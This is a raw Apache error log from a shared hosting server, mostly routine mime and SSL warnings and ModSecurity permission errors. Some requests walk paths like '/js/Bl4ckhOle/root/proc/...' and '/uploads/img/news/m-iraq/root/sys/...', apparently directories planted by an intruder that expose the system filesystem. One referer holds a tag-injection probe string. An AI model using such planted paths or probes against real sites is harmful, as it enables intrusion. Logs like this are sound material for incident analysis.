[Fri Jul 17 09:17:13.619266 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:41424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:13.892760 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:14.407761 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:14.486618 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:15.266790 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:15.374059 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:15.375496 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:41500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:15.475776 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:15.834898 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:16.277554 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:41576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:16.286505 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:41590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:16.820765 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:16.821764 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:17.201188 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:17.417912 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:17.979873 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/ACPI0010:00/LNXCPU:01/eject
[Fri Jul 17 09:17:19.104323 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/node0/cpu1/driver/uevent
[Fri Jul 17 09:17:19.212260 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:19.738042 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:19.956461 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:20.476696 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:20.749809 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:21.484768 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:21.677622 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 47.82.8.35:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/bus/usb/devices/1-1:1.0/driver/unbind
[Fri Jul 17 09:17:21.710321 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:22.696634 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:52676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:23.124847 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:23.551426 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/device/subsystem/devices/device:0e/eject
[Fri Jul 17 09:17:23.656672 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:23.971268 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:24.122610 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:24.227246 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.155629 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.355219 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:52840] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:25.377742 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377835 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377866 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377889 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377913 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377933 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377956 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377977 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.377997 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378019 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378048 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378074 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378094 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378115 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378135 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.378173 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:25.794867 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty42/uevent"] [unique_id "almlzQ5GPQ6hs4VrfMpF2QAAAAY"]
[Fri Jul 17 09:17:25.794907 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:64/subsystem/tty42/uevent"] [unique_id "almlzQ5GPQ6hs4VrfMpF2QAAAAY"]
[Fri Jul 17 09:17:26.160220 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty55/uevent"] [unique_id "almlzrEWOaI5pmYo9fnSswAAAAA"]
[Fri Jul 17 09:17:26.160257 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/5:0/subsystem/tty55/uevent"] [unique_id "almlzrEWOaI5pmYo9fnSswAAAAA"]
[Fri Jul 17 09:17:26.250081 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:26.250171 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:26.250192 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:26.250234 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:26.250273 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:26.250302 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.270939 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.271040 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.271072 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.271191 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.271236 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.271252 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.335290 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:52956] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:27.335451 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory113/node0/memory109/node0/memory68/node0/memory137/valid_zones"] [unique_id "almlzw5GPQ6hs4VrfMpF2wAAAAY"]
[Fri Jul 17 09:17:27.335471 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory113/node0/memory109/node0/memory68/node0/memory137/valid_zones"] [unique_id "almlzw5GPQ6hs4VrfMpF2wAAAAY"]
[Fri Jul 17 09:17:27.376248 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:27.469134 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:28.469782 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:29.245584 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:29.347515 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:13/subsystem/drivers/button/bind
[Fri Jul 17 09:17:30.341562 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:30.857543 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:31.062339 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:31.241230 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:31.248985 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:31.819497 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.128595 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.283315 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.905763 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.905897 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.905925 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.905971 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.906023 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:32.906053 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:33.738393 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:34.365191 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:34.451176 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:34.473333 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:47500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:35.088409 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.214561 2026] [security2:error] [pid 2036488:tid 2036488] [client 172.125.127.147:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-global": Permission denied [hostname "trails.lk"] [uri "/xmlrpc.php"] [unique_id "alml1rEKozcCJ-ReuK0GtwAAAAg"]
[Fri Jul 17 09:17:35.501178 2026] [security2:error] [pid 2036488:tid 2036488] [client 172.125.127.147:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/trails-ip": Permission denied [hostname "trails.lk"] [uri "/xmlrpc.php"] [unique_id "alml1rEKozcCJ-ReuK0GtwAAAAg"]
[Fri Jul 17 09:17:35.526772 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.526854 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.526892 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.526928 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.526963 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527013 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527064 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527089 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527108 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527127 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527148 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527210 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527236 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527255 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527287 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527318 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527351 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527379 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527401 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527422 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527445 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527464 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527485 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527515 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527553 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527608 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527628 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527647 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527692 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527728 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.527767 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:35.721975 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:36.102714 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:47548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:17:36.499664 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml2K14q1EBnanVMYGn0gAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:17:36.499701 2026] [security2:error] [pid 2032156:tid 2032156] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml2K14q1EBnanVMYGn0gAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:17:37.329040 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:37.365476 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:37.396417 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.147.197.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alml2bEKozcCJ-ReuK0GuQAAAAg"]
[Fri Jul 17 09:17:37.396462 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.147.197.174:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "alml2bEKozcCJ-ReuK0GuQAAAAg"]
[Fri Jul 17 09:17:37.516756 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:37.540533 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:37.847959 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:1c/eject
[Fri Jul 17 09:17:37.998831 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:38.618019 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:38.697556 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:38.713441 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:38.727338 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:38.830026 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:39.040555 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:39.143793 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:40.797480 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory121/node0/memory99/node0/memory33/"] [unique_id "alml3Loj0IkvhSCYadmFoAAAAAQ"]
[Fri Jul 17 09:17:40.797518 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory121/node0/memory99/node0/memory33/"] [unique_id "alml3Loj0IkvhSCYadmFoAAAAAQ"]
[Fri Jul 17 09:17:42.299617 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:42.338956 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:42.467505 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup13/device/subsystem/drivers/serial/bind
[Fri Jul 17 09:17:42.502932 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:42.655922 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:42.711668 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:42.817515 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:60/subsystem/ttyS1/irq
[Fri Jul 17 09:17:42.920861 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:43.019905 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:43.334773 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:43.353861 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml34l9vhFBGA6D8l9-BAAAAAw"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:17:43.354084 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alml34l9vhFBGA6D8l9-BAAAAAw"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:17:43.644710 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/device/subsystem/devices/device:0d/eject
[Fri Jul 17 09:17:43.743465 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:43.848867 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.680421 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.685300 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.719790 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.760452 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.770182 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:17:44.876906 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
